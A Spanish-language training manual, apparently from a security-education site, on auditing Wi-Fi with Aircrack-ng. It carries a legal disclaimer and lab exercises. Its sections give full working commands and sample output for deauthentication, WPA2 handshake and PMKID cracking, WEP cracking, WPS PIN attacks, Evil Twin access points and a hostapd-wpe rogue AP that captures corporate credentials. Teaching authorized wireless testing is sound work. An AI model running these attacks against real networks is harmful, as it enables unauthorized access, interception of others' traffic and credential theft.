GhostAcademy
GhostAcademy
Aircrack-ng — Auditoría de Redes Wi-Fi
Manual Completo
Aircrack-ng
Auditoría de Redes Wi-Fi

Aircrack-ng es la suite de auditoría de redes inalámbricas más completa y utilizada en pentesting. Permite capturar tráfico, inyectar paquetes, realizar ataques de deautenticación y crackear contraseñas WEP, WPA y WPA2. Incluida por defecto en Kali Linux y presente en todas las certificaciones de seguridad inalámbrica.

⚠ Disclaimer LegalAircrack-ng solo puede usarse contra redes propias o con autorización escrita del propietario. Auditar o acceder a redes Wi-Fi sin permiso es un delito en España (art. 197 CP) y prácticamente en todo el mundo. GhostAcademy promueve la seguridad ética y la práctica en laboratorios propios.

Suite de Herramientas

📊
airodump-ng
Captura paquetes de redes 802.11. Muestra APs cercanos, clientes conectados, señal, canal, cifrado. La herramienta de reconocimiento.
Captura
⚡
aireplay-ng
Inyección de paquetes. Envía deautenticaciones para forzar el reconecte de clientes y capturar el handshake WPA.
Inyección
🔓
aircrack-ng
Crackea contraseñas WEP por estadísticas de IVs y WPA/WPA2 por diccionario contra el handshake capturado.
Cracking
🔧
airmon-ng
Activa y desactiva el modo monitor en interfaces Wi-Fi. Gestiona los procesos que interfieren con la captura.
Monitor
🔄
airbase-ng
Crea puntos de acceso falsos (Evil Twin, Rogue AP). Útil para ataques MITM y captura de credenciales.
Rogue AP
📦
hcxtools / hcxdumptool
Suite moderna para captura de PMKID y conversión de capturas al formato hc22000 de hashcat.
PMKID

Protocolos Wi-Fi y su Seguridad

ProtocoloSeguridadTiempo de crackEstado
OpenNinguna — tráfico en claroN/A — sin contraseñaInseguro
WEPRC4 roto. IVs predeciblesSegundos con suficientes IVsRoto
WPATKIP — parcheado de WEPDiccionario contra handshakeObsoleto
WPA2-PersonalAES-CCMP. RobustoDiccionario/fuerza bruta (lento)Común
WPA2-Enterprise802.1X + RADIUS. Muy robustoNo crackeable directamenteRecomendado
WPA3-SAEDragonfly — sin handshakeNo vulnerable a captura offlineSeguro
Fundamentos — 01
🔌 Hardware y Modo Monitor

No todas las tarjetas Wi-Fi soportan modo monitor e inyección de paquetes. El chipset es más importante que la marca. Los más compatibles con Aircrack-ng son Atheros, Realtek RTL8812AU y Ralink.

Adaptadores Recomendados para Pentesting Wi-Fi

AdaptadorChipsetBandasMonitorInyección
Alfa AWUS036ACSRTL8811AU2.4 + 5 GHz✓✓
Alfa AWUS036ACHRTL8812AU2.4 + 5 GHz✓✓
Alfa AWUS036NHAAtheros AR92712.4 GHz✓✓
TP-Link TL-WN722N v1Atheros AR92712.4 GHz✓✓
TP-Link TL-WN722N v2/v3Realtek RTL8188EUS2.4 GHzCon driver parcheadoLimitada
Intel integrada (portátil)Varios2.4 + 5 GHzNo recomendado✗
BASH — Activar modo monitor con airmon-ng
# Verificar interfaces disponibles
ip link show
iwconfig
wlan0     IEEE 802.11  Mode:Managed  ← adaptador en modo normal

# Ver chipset y compatibilidad
airmon-ng
PHY     Interface   Driver          Chipset
phy0    wlan0       ath9k_htc       Qualcomm Atheros AR9271

# Matar procesos que interfieren
airmon-ng check kill
Killing these processes:
  PID Name
  892 NetworkManager
  934 wpa_supplicant

# Activar modo monitor
airmon-ng start wlan0
[PHY0] Driver: ath9k_htc
[PHY0] Chipset: AR9271

monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon

# Verificar modo monitor activo
iwconfig wlan0mon
wlan0mon  IEEE 802.11  Mode:Monitor  Tx-Power=20 dBm

# Cambiar canal específico
iwconfig wlan0mon channel 6
iw dev wlan0mon set channel 6

# Al terminar: desactivar modo monitor
airmon-ng stop wlan0mon
service NetworkManager restart
ℹ Modo monitor vs modo managedEn modo managed (normal), la tarjeta solo captura paquetes dirigidos a ella. En modo monitor, captura TODOS los paquetes en el aire del canal sintonizado, independientemente del destino. Es el modo requerido para todo el pentesting Wi-Fi.
Fundamentos — 02
🧰 Suite Completa de Herramientas

El ecosistema completo alrededor de aircrack-ng: herramientas complementarias para captura PMKID, análisis de capturas, cracking acelerado por GPU y Evil Twin.

BASH — Instalar suite completa
# Aircrack-ng suite (Kali — ya incluida)
sudo apt install aircrack-ng -y

# hcxtools — captura PMKID y conversión de formatos
sudo apt install hcxtools hcxdumptool -y

# Hashcat — cracking por GPU (mucho más rápido que aircrack)
sudo apt install hashcat -y

# Wireshark — análisis visual de capturas .cap
sudo apt install wireshark -y

# Cowpatty — verificar handshakes y cracking WPA
sudo apt install cowpatty -y

# Reaver / Bully — ataques WPS
sudo apt install reaver bully -y

# Hostapd-wpe — Evil Twin WPA2-Enterprise
sudo apt install hostapd-wpe -y

# Verificar aircrack instalado
aircrack-ng --version
Aircrack-ng 1.7  -  (C) 2006-2022 Thomas d'Otreppe
Escaneo — 01
📊 airodump-ng — Escanear Redes

airodump-ng es la herramienta de reconocimiento de Aircrack-ng. Muestra en tiempo real todos los puntos de acceso cercanos, sus clientes, señal, canal, tipo de cifrado y BSSID. Es el primer paso de cualquier auditoría Wi-Fi.

airodump-ng — Output en tiempo real
CH 6 ][ Elapsed: 30 s ][ 2024-01-15 14:32 BSSID PWR Beacons #Data CH ENC CIPHER AUTH ESSID 78:D2:94:8A:F1:20 -58 62 3 11 WPA2 CCMP PSK Vecino_5G B4:E6:2D:CC:90:10 -71 45 0 1 WPA TKIP PSK OldRouter 00:14:6C:7E:40:80 -80 22 8 6 WEP WEP Oficina_Antigua C8:3A:35:01:A1:50 -65 55 28 6 WPA2 CCMP MGT CorpWifi_8021x BSSID STATION PWR Rate Lost Frames Probe

Campos Clave de airodump-ng

CampoSignificadoRelevancia para auditoría
BSSIDMAC del punto de accesoIdentificador único del AP — lo usaremos en todos los comandos
PWRPotencia de señal (dBm)Más cerca de 0 = más fuerte. -40 excelente, -70 débil
ENCTipo de cifradoWPA2 (robusto), WPA (obsoleto), WEP (roto), OPN (sin seguridad)
CIPHERAlgoritmo de cifradoCCMP (AES) es seguro, TKIP es vulnerable
AUTHAutenticaciónPSK = contraseña, MGT = 802.1X/Enterprise
CHCanal Wi-FiUsaremos este canal para capturar con --channel
#DataPaquetes de datos capturadosMás datos = más clientes activos
STATIONMAC de clientes conectadosUsaremos un cliente para el ataque de deautenticación
BASH — airodump-ng: opciones principales
# Escaneo general — todos los canales
airodump-ng wlan0mon

# Filtrar por banda 2.4 GHz o 5 GHz
airodump-ng --band bg wlan0mon   # solo 2.4 GHz
airodump-ng --band a wlan0mon    # solo 5 GHz
airodump-ng --band abg wlan0mon  # ambas bandas

# Focalizar en un AP específico y guardar captura
airodump-ng --bssid A4:91:B1:2C:3D:E0 \
            --channel 6 \
            --write captura_miRed \
            wlan0mon
Esto genera:
  captura_miRed-01.cap   ← archivo de captura (donde irá el handshake)
  captura_miRed-01.csv   ← datos en CSV
  captura_miRed-01.kismet.csv

# Solo mostrar APs de una red en concreto
airodump-ng --essid "MiRed_Casa" wlan0mon

# Capturar en canal específico (sin saltar entre canales)
airodump-ng --channel 6 wlan0mon

# Guardar en varios formatos simultáneamente
airodump-ng --bssid A4:91:B1:2C:3D:E0 -c 6 \
            --write captura --output-format pcap,csv,kismet \
            wlan0mon
Escaneo — 02
🎯 Capturar el Handshake WPA

El handshake WPA/WPA2 es el intercambio de 4 paquetes (4-way handshake) que ocurre cuando un cliente se conecta al AP. Contiene la información necesaria para verificar la contraseña. Capturarlo es el objetivo principal antes del cracking.

1
Identificar el objetivo con airodump-ng
Anotar el BSSID (MAC del AP), el canal (CH) y la MAC de al menos un cliente conectado (STATION). Estos tres valores son necesarios para el ataque.
2
Iniciar captura focalizada en el AP objetivo
Abrir una terminal y lanzar airodump-ng focalizado en el BSSID y canal del AP. El archivo .cap irá guardando todos los paquetes capturados.
3
Enviar paquetes de deautenticación (en otra terminal)
Con aireplay-ng, enviar paquetes de deautenticación al cliente. Esto le fuerza a desconectarse y reconectarse inmediatamente, generando el handshake en el proceso.
4
Confirmar que el handshake fue capturado
airodump-ng mostrará "WPA handshake: XX:XX:XX:XX:XX:XX" en la esquina superior derecha. También se puede verificar con aircrack-ng o cowpatty.
Terminal 1 — airodump-ng capturando handshake
airodump-ng --bssid A4:91:B1:2C:3D:E0 -c 6 --write captura wlan0mon CH 6 ][ Elapsed: 1 min ][ 2024-01-15 14:35 ][ WPA handshake: A4:91:B1:2C:3D:E0 BSSID PWR Beacons #Data CH ENC CIPHER AUTH ESSID BSSID STATION PWR Rate
BASH — Captura completa paso a paso
## TERMINAL 1: Capturar
airodump-ng --bssid A4:91:B1:2C:3D:E0 \
            --channel 6 \
            --write captura_miRed \
            wlan0mon

## TERMINAL 2: Enviar deautenticaciones (mientras airodump captura)
# Deauth a TODOS los clientes del AP
aireplay-ng --deauth 5 \
            -a A4:91:B1:2C:3D:E0 \
            wlan0mon

# Deauth a un cliente específico (más sigiloso)
aireplay-ng --deauth 5 \
            -a A4:91:B1:2C:3D:E0 \
            -c F0:9F:C2:1A:3B:44 \
            wlan0mon
14:35:44  Waiting for beacon frame (BSSID: A4:91:B1:2C:3D:E0) on channel 6
14:35:44  Sending 5 directed DeAuth (code 7). STMAC: [F0:9F:C2:1A:3B:44]

## VERIFICAR que el handshake es válido
aircrack-ng captura_miRed-01.cap
Index  ESSID              Encryption
    1  MiRed_Casa         WPA (1 handshake)  ← handshake capturado!

# Con cowpatty (más detallado)
cowpatty -r captura_miRed-01.cap -s "MiRed_Casa" -f /dev/null
Collected all necessary data to mount crack against WPA/PSK passphrase.
Escaneo — 03
⚡ aireplay-ng — Inyección de Paquetes

aireplay-ng inyecta paquetes en la red Wi-Fi. Su ataque más usado es la deautenticación (--deauth) para forzar reconexiones. También soporta otros ataques como ARP replay para WEP.

BASH — aireplay-ng: referencia de ataques
## VERIFICAR QUE LA TARJETA SOPORTA INYECCIÓN
aireplay-ng --test wlan0mon
Trying broadcast probe requests...
Injection is working!
Found 3 APs
Ping (min/avg/max): 1.123ms/2.456ms/4.789ms
30/30: 100%

## ATAQUE 0 — DEAUTENTICACIÓN (el más usado)
# Enviar N paquetes de deauth a todos los clientes del AP
aireplay-ng -0 5 -a BSSID_AP wlan0mon
# -0 5 = 5 deauths (0 = continuo hasta Ctrl+C)

# Deauth a un cliente específico
aireplay-ng -0 5 -a BSSID_AP -c MAC_CLIENTE wlan0mon

## ATAQUE 1 — FAKE AUTHENTICATION (WEP)
# Autenticarse en el AP para poder inyectar paquetes
aireplay-ng -1 0 -e "NombreRed" -a BSSID_AP -h MAC_TARJETA wlan0mon
Association successful :-) (AID: 1)

## ATAQUE 3 — ARP REQUEST REPLAY (WEP)
# Capturar y reinyectar paquetes ARP para generar IVs rápidamente
aireplay-ng -3 -b BSSID_AP -h MAC_TARJETA wlan0mon
Saving ARP requests in replay_arp-0115-143507.cap
Read 12345 packets (got 1000 ARP requests), sent 5678 packets...

## ATAQUE 6 — CAFE LATTE (WEP, extraer clave de cliente)
aireplay-ng -6 -D -b BSSID_AP -h MAC_TARJETA wlan0mon

## FRAGMENTACIÓN (WEP — obtener keystream)
aireplay-ng -5 -b BSSID_AP -h MAC_TARJETA wlan0mon

## VERIFICAR INYECCIÓN EN CANAL ESPECÍFICO
aireplay-ng --test -e "NombreRed" wlan0mon
Cracking — 01
🔓 Crackear WPA/WPA2 con aircrack-ng

Con el handshake capturado, aircrack-ng realiza un ataque de diccionario: prueba cada contraseña de la wordlist para ver si genera el mismo handshake. La velocidad depende de la CPU — hashcat con GPU es mucho más rápido.

aircrack-ng — Ataque de diccionario WPA2
aircrack-ng captura_miRed-01.cap -w /usr/share/wordlists/rockyou.txt Aircrack-ng 1.7 [00:02:31] 845421/14344391 keys tested (5613.42 k/s) Time left: 42 minutes, 18 seconds 5.89% KEY FOUND! [ password123 ] Master Key : CD 69 0D 11 8D AC 9B F4 5B EA D9 3D 76 B7 8B 7D Transient Key : 2B 84 96 06 04 84 58 2A 5B 07 D9 AB 0D D6 D0 35
BASH — aircrack-ng: opciones de cracking
## ATAQUE DE DICCIONARIO BÁSICO
aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt

# Especificar el ESSID si hay múltiples redes en la captura
aircrack-ng captura-01.cap -e "MiRed_Casa" -w rockyou.txt

# Especificar el BSSID
aircrack-ng captura-01.cap -b A4:91:B1:2C:3D:E0 -w rockyou.txt

## MÚLTIPLES WORDLISTS
aircrack-ng captura-01.cap -w rockyou.txt,wordlist2.txt,custom.txt

## CON REGLAS (via stdin — generar variaciones en tiempo real)
john --wordlist=rockyou.txt --rules --stdout | aircrack-ng captura-01.cap -w -
# john genera las variaciones y las pasa por stdin a aircrack

## VELOCIDADES APROXIMADAS EN CPU (para referencia)
aircrack-ng (CPU):    5.000 - 10.000 PMK/s
hashcat (GPU RTX3090): 500.000 - 1.000.000 PMK/s  ← 100x más rápido

## VERIFICAR HANDSHAKE SIN INICIAR CRACKING
aircrack-ng captura-01.cap
   #  BSSID              ESSID                     Encryption
   1  A4:91:B1:2C:3D:E0  MiRed_Casa                WPA (1 handshake)
Cracking — 02
💥 Hashcat + hc22000 — Cracking por GPU

Hashcat es hasta 100 veces más rápido que aircrack-ng para crackear WPA2 porque usa la GPU. El proceso requiere convertir el handshake al formato hc22000 con hcxtools.

BASH — Pipeline completo: handshake → hashcat
## PASO 1: Convertir captura .cap a formato hc22000
hcxpcapngtool -o handshake.hc22000 captura_miRed-01.cap
summary capture file
---------------------
read cap file        : 1
read packets         : 847
written hashes       : 1 (format 22000)
handshakes           : 1

# Alternativa con cap2hashcat
cap2hashcat captura_miRed-01.cap handshake.hc22000

## PASO 2: Crackear con hashcat
# Modo 22000 = WPA-PBKDF2-PMKID+EAPOL
hashcat -m 22000 handshake.hc22000 /usr/share/wordlists/rockyou.txt

# Con reglas (mucho más efectivo que diccionario puro)
hashcat -m 22000 handshake.hc22000 rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Con múltiples wordlists y reglas
hashcat -m 22000 handshake.hc22000 rockyou.txt nombres_espana.txt \
  -r best64.rule -r d3ad0ne.rule

# Ataque de máscara (fuerza bruta estructurada)
# Contraseñas: 8 dígitos (típico de routers ISP)
hashcat -m 22000 handshake.hc22000 -a 3 "?d?d?d?d?d?d?d?d"

# Contraseña con letra mayúscula + 7 minúsculas + 2 dígitos
hashcat -m 22000 handshake.hc22000 -a 3 "?u?l?l?l?l?l?l?l?d?d"

# MÁSCARAS comunes
?l = minúscula (a-z)       ?u = mayúscula (A-Z)
?d = dígito (0-9)          ?s = especial (!@#$...)
?a = todos los anteriores  ?b = todos los bytes

## VER PROGRESO / RESULTADOS
hashcat -m 22000 handshake.hc22000 rockyou.txt --show
WPA*02*...:MiRed_Casa:password123

## EN GPU DE LABORATORIO (velocidades aproximadas)
RTX 3090: ~1.000.000 PMK/s con WPA2
RTX 4090: ~1.800.000 PMK/s
AMD RX 6900 XT: ~900.000 PMK/s
Cracking — 03
📚 Wordlists y Reglas

La calidad de la wordlist determina el éxito del cracking. Una wordlist bien elegida para el contexto puede crackear contraseñas en minutos que una genérica nunca encontraría.

BASH — Wordlists y estrategias
## WORDLISTS INCLUIDAS EN KALI
/usr/share/wordlists/rockyou.txt          ← 14M contraseñas reales
/usr/share/wordlists/fasttrack.txt        ← Contraseñas comunes
/usr/share/wordlists/fern-wifi/common.txt ← Wi-Fi específico

## DESCOMPRIMIR ROCKYOU
gunzip /usr/share/wordlists/rockyou.txt.gz
wc -l /usr/share/wordlists/rockyou.txt
14344391  rockyou.txt

## WORDLISTS ESPECÍFICAS PARA WI-FI ESPAÑOLA
# Contraseñas de routers ISP españoles (patrones conocidos)
# Movistar/O2: WLAN_XXXX (4 char hex + nombre router)
# Vodafone:    YYYYMMDD o 8 dígitos
# Orange:      nombre_red + sufijo

# Generar wordlist de contraseñas numéricas de 8 dígitos (routers ISP)
crunch 8 8 0123456789 -o numeros8.txt
Crunch will now generate the following amount of data: 9000000000 bytes...

# Generar wordlist de fechas (cumpleaños, aniversarios)
crunch 8 8 -t "@@@@@@@@" -p 01234567890

## REGLAS HASHCAT — Transformar wordlist
best64.rule      ← 64 reglas de alta cobertura
d3ad0ne.rule     ← 34.096 reglas, muy completo
OneRuleToRuleThemAll.rule ← 52.000 reglas, el más completo
rockyou-30000.rule        ← basado en patrones de RockYou

ls /usr/share/hashcat/rules/

## ESTRATEGIA RECOMENDADA (en orden)
1. rockyou.txt puro (minutos)
2. rockyou.txt + best64.rule (1-2h)
3. Wordlist personalizada al contexto (nombre ESSID, ISP)
4. Ataque de máscara (patrones conocidos del router)
5. rockyou.txt + d3ad0ne.rule (muchas horas)
6. Fuerza bruta pura (solo si se conoce la longitud/patrón)

## CREAR WORDLIST CONTEXTUAL
# Si el ESSID es "MOVISTAR_CASA" generamos variaciones
cat > custom_wifi.txt << 'EOF'
MOVISTAR_CASA
movistar_casa
MovistarCasa
Movistar2024
movistar2024
12345678
87654321
EOF
hashcat -m 22000 handshake.hc22000 custom_wifi.txt
Cracking — 04
🔑 WEP — Crackear por IV Statistics

WEP (Wired Equivalent Privacy) está matemáticamente roto desde 2001. Con suficientes paquetes capturados, aircrack-ng puede recuperar la clave WEP en segundos independientemente de su longitud o complejidad.

⚠ WEP en 2024WEP apenas existe en entornos modernos. Solo se encuentra en equipamiento muy antiguo (routers de antes de 2010) o sistemas industriales legacy. Si ves WEP en un pentest, es una vulnerabilidad crítica independientemente de la contraseña.
BASH — Crack WEP completo
## FLUJO COMPLETO PARA CRACKEAR WEP

# PASO 1: Identificar la red WEP
airodump-ng wlan0mon
00:14:6C:7E:40:80  -80  WEP  WEP  Oficina_Antigua   ← objetivo WEP

# PASO 2: Capturar IVs (necesitamos 20.000-40.000+)
airodump-ng --bssid 00:14:6C:7E:40:80 \
            --channel 6 \
            --write wep_captura \
            wlan0mon

# PASO 3 (opcional): Fake auth para poder inyectar
aireplay-ng -1 0 -a 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wlan0mon

# PASO 4: ARP replay para generar IVs rápidamente
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wlan0mon
Got 1 ARP requests
Sending ARP requests... 45678/s
#Data: 89234 IVs  ← acumulando IVs...

# PASO 5: Crackear cuando haya suficientes IVs
aircrack-ng wep_captura-01.cap
Aircrack-ng 1.7

[00:00:03] Tested 1234 keys (got 25847 IVs)

   KB    depth   byte(vote)
    0    0/  1   AB( 512) 58( 384) ...
    1    0/  1   CD(  480) ...

KEY FOUND! [ AB:CD:EF:12:34 ]  ← clave WEP encontrada en segundos!
Ataques Avanzados — 01
🆕 Ataque PMKID — Sin Clientes

El ataque PMKID (descubierto en 2018 por Jens Steube, autor de hashcat) permite obtener material crackeable de WPA2 sin necesidad de capturar un handshake ni esperar a que un cliente se conecte. Solo se necesita la comunicación con el AP.

★ Ventaja del PMKIDEl handshake tradicional requiere que haya un cliente conectado y esperar a que se (re)conecte. El PMKID se puede obtener directamente del AP sin clientes, lo que lo hace viable en redes sin usuarios activos o de madrugada. El cracking posterior con hashcat es idéntico.
BASH — Ataque PMKID completo con hcxdumptool
## MÉTODO 1: hcxdumptool (la forma más directa)

# Capturar PMKID del AP objetivo
hcxdumptool -i wlan0mon \
            --enable_status=1 \
            -o pmkid_captura.pcapng \
            --filterlist_ap=targets.txt \
            --filtermode=2
# targets.txt contiene el BSSID del AP: A4:91:B1:2C:3D:E0
start...
[00:00:02]     1 beacons/second
[00:00:03]     1 association responses
[00:00:03]     1 RSN PMKID                ← PMKID obtenido!

# Convertir a formato hashcat hc22000
hcxpcapngtool -o pmkid.hc22000 pmkid_captura.pcapng
summary capture file
written hashes       : 1 (format 22000)
PMKID                : 1   ← confirmado

# Crackear con hashcat
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule
WPA*01*a8206035b5ef8ffe...*MiRed_Casa:password123  ← crackeado!

## MÉTODO 2: Aircrack-ng suite (sin hcxdumptool)

# Capturar con airodump-ng (también captura PMKID)
airodump-ng --bssid A4:91:B1:2C:3D:E0 -c 6 \
            --write pmkid_airodump wlan0mon

# Enviar probe para forzar respuesta PMKID
aireplay-ng --deauth 1 -a A4:91:B1:2C:3D:E0 wlan0mon

# Convertir y crackear
hcxpcapngtool -o pmkid.hc22000 pmkid_airodump-01.cap
hashcat -m 22000 pmkid.hc22000 rockyou.txt
Ataques Avanzados — 02
😈 Evil Twin / Rogue AP

Un Evil Twin es un punto de acceso falso que imita a uno legítimo. Los clientes se conectan al AP falso pensando que es el real, permitiendo capturar tráfico o credenciales. Requiere dos interfaces Wi-Fi o una interfaz y conexión Ethernet.

⚠ Uso exclusivo en pentests autorizadosEl Evil Twin intercepta comunicaciones de terceros. Su uso requiere autorización explícita en el scope del pentest. Montar un Rogue AP sin autorización es un delito grave en todas las jurisdicciones.
BASH — Evil Twin básico con airbase-ng
## CONCEPTO: Dos interfaces Wi-Fi
# wlan0mon: modo monitor, para deauth del AP legítimo
# wlan1mon: modo monitor, para el AP falso

## PASO 1: Crear el AP falso con el mismo ESSID
airbase-ng -e "MiRed_Casa" \
           -c 6 \
           -a A4:91:B1:2C:3D:E0 \
           wlan1mon
Created tap interface at0
Trying to set MTU on at0 to 1500
Access Point with BSSID A4:91:B1:2C:3D:E0 started.

## PASO 2: Configurar la interfaz virtual para routing
ifconfig at0 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

## PASO 3: DHCP server para los clientes
dnsmasq --interface=at0 \
        --dhcp-range=10.0.0.10,10.0.0.50,255.255.255.0,12h \
        --dhcp-option=3,10.0.0.1 \
        --dhcp-option=6,8.8.8.8 \
        --no-daemon

## PASO 4: Deautenticar clientes del AP legítimo
aireplay-ng --deauth 0 -a A4:91:B1:2C:3D:E0 wlan0mon
# Los clientes se reconectarán al AP falso

## PASO 5: Capturar tráfico
tcpdump -i at0 -w captura_mitm.pcap
wireshark captura_mitm.pcap  # analizar después

## HERRAMIENTA ALTERNATIVA: hostapd-wpe (para WPA2-Enterprise)
## Ver sección de Lab WPA2-Enterprise
Ataques Avanzados — 03
📌 WPS PIN Attack

WPS (Wi-Fi Protected Setup) tiene un diseño vulnerable: su PIN de 8 dígitos puede crackearse en ~11.000 intentos por un fallo en la verificación en dos mitades. Reaver y Bully explotan este fallo.

BASH — WPS attack con reaver y bully
## VERIFICAR QUÉ APs TIENEN WPS ACTIVO
wash -i wlan0mon
BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID
A4:91:B1:2C:3D:E0    6  -42  2.0  No   AtherosC  MiRed_Casa
78:D2:94:8A:F1:20   11  -58  1.0  Yes  Broadcom  Vecino_5G  ← WPS Locked!
# Lck:No = WPS activo y sin bloqueo (vulnerable)
# Lck:Yes = bloqueado (demasiados intentos fallidos)

## CON REAVER
reaver -i wlan0mon \
       -b A4:91:B1:2C:3D:E0 \
       -c 6 \
       -vv
[+] Waiting for beacon from A4:91:B1:2C:3D:E0
[+] Switching wlan0mon to channel 6
[+] Associated with A4:91:B1:2C:3D:E0
[+] Trying pin "12345670"
[+] Trying pin "00005678"
...
[+] WPS PIN: '12345670'
[+] WPA PSK: 'password123'
[+] AP SSID: 'MiRed_Casa'

# Reaver con delay (evitar bloqueo)
reaver -i wlan0mon -b A4:91:B1:2C:3D:E0 -c 6 \
       -d 1 -r 3:15 -vv
# -d 1 = delay 1s entre intentos, -r 3:15 = 3 intentos / 15s pausa

## CON BULLY (alternativa a reaver)
bully -b A4:91:B1:2C:3D:E0 -c 6 -F -B wlan0mon

## PIXIE DUST ATTACK (más rápido, solo algunos APs)
reaver -i wlan0mon -b A4:91:B1:2C:3D:E0 -c 6 -K 1 -vv
# -K 1 = Pixie Dust offline attack
[Pixie-Dust] WPS pin: 12345670 (found in 3 seconds!)
Laboratorio — 01
🧪 Lab: WPA2 de Principio a Fin

Flujo completo de auditoría WPA2 en un entorno de laboratorio propio: desde activar el modo monitor hasta crackear la contraseña con hashcat. El laboratorio más importante del manual.

🧪LAB-AIR-01 — WPA2 completo: monitor → handshake → crackFÁCIL

Requisito: adaptador Wi-Fi compatible con modo monitor. Red WPA2 propia. En entorno de lab, establece una red Wi-Fi temporal con contraseña de la wordlist para practicar.

BASH — Lab completo WPA2
## PREPARAR ENTORNO DE LAB
# Crear hotspot temporal en Android/iPhone con contraseña "password123"
# O usar un router propio con contraseña conocida para verificar el proceso

## FASE 1: PREPARAR ADAPTADOR
airmon-ng check kill
airmon-ng start wlan0
iwconfig wlan0mon
Mode:Monitor  ← listo

## FASE 2: RECONOCIMIENTO
airodump-ng wlan0mon
# Localizar nuestra red de lab, anotar BSSID y canal
BSSID              CH  ENC   ESSID
AA:BB:CC:DD:EE:FF   6  WPA2  MiHotspot-Lab

## FASE 3: CAPTURAR HANDSHAKE
# Terminal 1: iniciar captura
airodump-ng --bssid AA:BB:CC:DD:EE:FF \
            -c 6 \
            --write lab_wpa2 \
            wlan0mon

# Terminal 2: enviar deauth para forzar el handshake
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Si no hay clientes conectados, conectar un dispositivo antes

# Verificar handshake (esquina superior derecha de airodump-ng)
WPA handshake: AA:BB:CC:DD:EE:FF  ← aparece cuando se captura

## FASE 4: CRACKING CON AIRCRACK-NG (CPU)
aircrack-ng lab_wpa2-01.cap -w /usr/share/wordlists/rockyou.txt
KEY FOUND! [ password123 ]  ← éxito!

## FASE 4 (ALTERNATIVA): HASHCAT (GPU — mucho más rápido)
hcxpcapngtool -o lab.hc22000 lab_wpa2-01.cap
hashcat -m 22000 lab.hc22000 rockyou.txt
WPA*02*...*MiHotspot-Lab:password123

## FASE 5: LIMPIEZA
airmon-ng stop wlan0mon
service NetworkManager restart
rm lab_wpa2-*.cap lab.hc22000
Laboratorio — 02
🧪 Lab: PMKID Sin Clientes

Obtener material crackeable WPA2 sin esperar a que ningún cliente se conecte. Útil cuando la red objetivo no tiene usuarios activos en el momento de la auditoría.

BASH — Lab PMKID completo
## REQUISITO: hcxdumptool instalado
sudo apt install hcxtools hcxdumptool -y

## PASO 1: Identificar el BSSID objetivo
airodump-ng wlan0mon 2>/dev/null | head -20
# Anotar el BSSID de nuestra red de lab

## PASO 2: Crear archivo de filtro con el BSSID objetivo
# (sin dos puntos, en minúsculas)
echo "aabbccddeeff" > target_bssid.txt

## PASO 3: Capturar PMKID
hcxdumptool -i wlan0mon \
            --enable_status=1 \
            -o pmkid_lab.pcapng \
            --filterlist_ap=target_bssid.txt \
            --filtermode=2
start...
[00:00:01]     1 beacons/second
[00:00:02]     1 EAPOL M1s
[00:00:02]     1 RSN PMKID   ← PMKID capturado!
# Ctrl+C cuando aparezca "RSN PMKID"

## PASO 4: Ver qué se capturó
hcxpcapngtool --info=stdout pmkid_lab.pcapng
file name          : pmkid_lab.pcapng
file written by    : hcxdumptool 6.2.7
PMKID (0x00)       : 1   ← tenemos 1 PMKID

## PASO 5: Convertir a formato hashcat
hcxpcapngtool -o pmkid_lab.hc22000 pmkid_lab.pcapng
written hashes       : 1 (format 22000)

## PASO 6: Verificar el contenido del hash
cat pmkid_lab.hc22000
WPA*01*a8206035b5ef8f...*MiHotspot-Lab

## PASO 7: Crackear con hashcat
hashcat -m 22000 pmkid_lab.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule
WPA*01*...*MiHotspot-Lab:password123   ← crackeado!
Laboratorio — 03
🧪 Lab: WPA2-Enterprise

WPA2-Enterprise (802.1X) usa RADIUS para autenticación individual de usuarios. No tiene una contraseña compartida que crackear, pero puede atacarse con un Rogue AP que capture las credenciales del cliente.

★ WPA2-Enterprise y hostapd-wpeEl ataque consiste en crear un AP falso con el mismo ESSID que la red corporativa. Los clientes Windows intentan autenticarse automáticamente al ver la red conocida. El servidor RADIUS falso (hostapd-wpe) captura el challenge-response MSCHAP que puede crackearse offline.
BASH — Rogue AP para WPA2-Enterprise
## PREREQUISITO: hostapd-wpe
sudo apt install hostapd-wpe -y

## PASO 1: Configurar hostapd-wpe
cat > /etc/hostapd-wpe/hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpWifi
channel=6
hw_mode=g
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
EOF

## PASO 2: Lanzar el Rogue AP
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
Configuration file: /etc/hostapd-wpe/hostapd-wpe.conf
Using interface wlan0 with hwaddr and ssid "CorpWifi"
wlan0: AP-ENABLED
[+] mschapv2: john.doe:$MSCHAPv2$aabbccdd$eeff1122...$  ← credenciales capturadas!

## PASO 3: Crackear el hash MSCHAPv2 capturado
john --format=netntlm /tmp/hostapd-wpe.log
P@ssw0rd         (john.doe)

# O con hashcat
hashcat -m 5500 "john.doe:::aabbccdd:eeff1122...:..." rockyou.txt
P@ssw0rd   ← contraseña del usuario corporativo
Defensa
🛡 Configurar Wi-Fi Seguro

Las contramedidas contra los ataques cubiertos en este manual. Aplicar estas configuraciones hace inviable o muy difícil el acceso no autorizado a tu red Wi-Fi.

MedidaProtege contraCómo implementarPrioridad
Usar WPA3-SAE o WPA2 con contraseña largaCracking de handshake/PMKIDRouter → Wi-Fi → Seguridad → WPA3 o WPA2Crítico
Contraseña aleatoria de 20+ caracteresAtaques de diccionarioUsar un gestor de contraseñas para generarlaCrítico
Desactivar WPSAtaque WPS PINRouter → Wi-Fi → WPS → DesactivarCrítico
Usar WPA2-Enterprise (802.1X)Contraseña compartida comprometidaRequiere servidor RADIUS (FreeRADIUS)Medio
